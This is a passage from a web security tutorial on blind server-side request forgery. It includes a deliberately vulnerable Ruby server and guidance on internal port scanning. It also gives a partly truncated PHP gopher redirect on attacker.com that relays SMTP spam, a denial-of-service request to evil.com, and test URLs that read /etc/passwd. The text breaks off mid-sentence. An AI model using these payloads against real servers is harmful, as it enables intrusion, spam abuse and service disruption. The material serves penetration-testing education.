SSRF – Server Side Request Forgery Types And Ways To Exploit It (Part-2)

We have discussed Basic SSRF in Part -1, now we will continue with its next part

ii. Blind –

Not all SSRF vulnerabilities return the response to the attacker. This type of SSRF is known as blind SSRF

Exploiting Blind SSRF –
DEMO (using Ruby)

require 'sinatra'
require 'open-uri'

get '/' do
open params[:url]
'done'
end

The above code runs a server on port 4567 which on getting request does the following:
> make request to URL mentioned by user
> send reponse “OK” back to user instead of content(CANT SEE RESPONSE)

http://localhost:4567/?url=https://google.com will request google.com but does not show the response from google to attacker

To demonstrate impact with this kind of SSRF is to run an Internal IP and PORT scan

Here’s a list of private IPv4 networks that you could scan for services:

• 10.0.0.0/8

• 127.0.0.1/32

• 172.16.0.0/12

• 192.168.0.0/16

We can determine whether the specified PORT is Open/Closed by observing the Response Status and Response Time

Below is the example table of response status and time.

Send Spam mails –

In some case if the server supports Gopher we use it to send spam mails from server IP

To demonstrate we will use test.smtp.org testing server.

Let’s craft a malicious php page :

http://attacker.com/ssrf/gopher.php

',
'RCPT TO: ',
'DATA',
'Test mail',
'.'
);
$payload = implode('%0A', $commands);
header('Location: gopher://test.smtp.org:25/_'.$payload);
?>

https://example.com/ssrf.php?url=http://attacker.com/ssrf/gopher.php

This code concats our SMTP command into one line delimited by %0A and forces server to send a ‘GOPHER’ request to a SMTP server while actually sending a valid SMTP request

Performing Denial of service –

An attacker can use iptables TARPIT target to block requests for a prolonged time and CURL’s FTP:// protocol which never timeouts.

An attacker can send all TCP traffic to port 12345 to TARPIT and the request

https://example.com/ssrf/url?url=ftp://evil.com:12345/TEST

Test Cases –
Places to look for SSRF

End points which fetch external/internal resources –
Case I-

http://example.com/index.php?page=about.php

http://example.com/index.php?page=https://google.com

http://example.com/index.php?page=file:///etc/passwd

Refer – Link

Case -II

Try changing urls in POST request

POST /test/demo_form.php HTTP/1.1
Host: example.com
url=https://example.com/as&name2=value2

Refer – #411865, Link

PDF generators –

There are some cases where server converts uploaded file to a pdf

Try injecting